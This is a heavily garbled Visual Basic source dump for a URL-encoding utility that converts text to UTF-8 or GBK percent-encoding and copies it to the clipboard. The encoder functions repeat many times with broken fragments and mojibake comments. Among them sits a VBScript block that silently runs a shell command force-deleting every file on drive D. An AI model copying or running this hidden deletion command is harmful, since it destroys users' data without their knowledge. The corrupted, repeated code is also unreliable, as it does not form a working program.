Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5 To 9            Text1(i).Text = UTF8EncodeURI(Text1(i - 5).Text)        Next i    Case 1 '        For i = 0 To 9            Text1(i).Text = ""        Next i    Case 2 'GB2312        For i = 5 To 9            Text1(i).Text = GBKEncodeURI(Text1(i - 5).Text)        Next i    Case Else '        Clipboard.SetText Text1(Index + 2).Text    End SelectEnd Subdim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'*******************************************Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5 To 9            Text1(i).Text = UTF8EncodeURI(Text1(i - 5).Text)    Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8Encodetion UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'*********************************************unction UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function tion UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'*********************************************unction UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function tion UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'*********************************************unction UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function tion UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'*********************************************unction UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function tion UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'*********************************************unction UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function tion UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'*********************************************unction UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function tion UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'*********************************************unction UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function URI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'*********************************************unction UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'*********************************************unction UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = Asc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'*********************************************unction UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = Asc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'*********************************************unction UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = Asc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'*********************************************unction UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = Asc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'*********************************************unction UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = Asc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'*********************************************unction UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = ch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURIunction UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURIunction UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURIunction UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI*Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text) 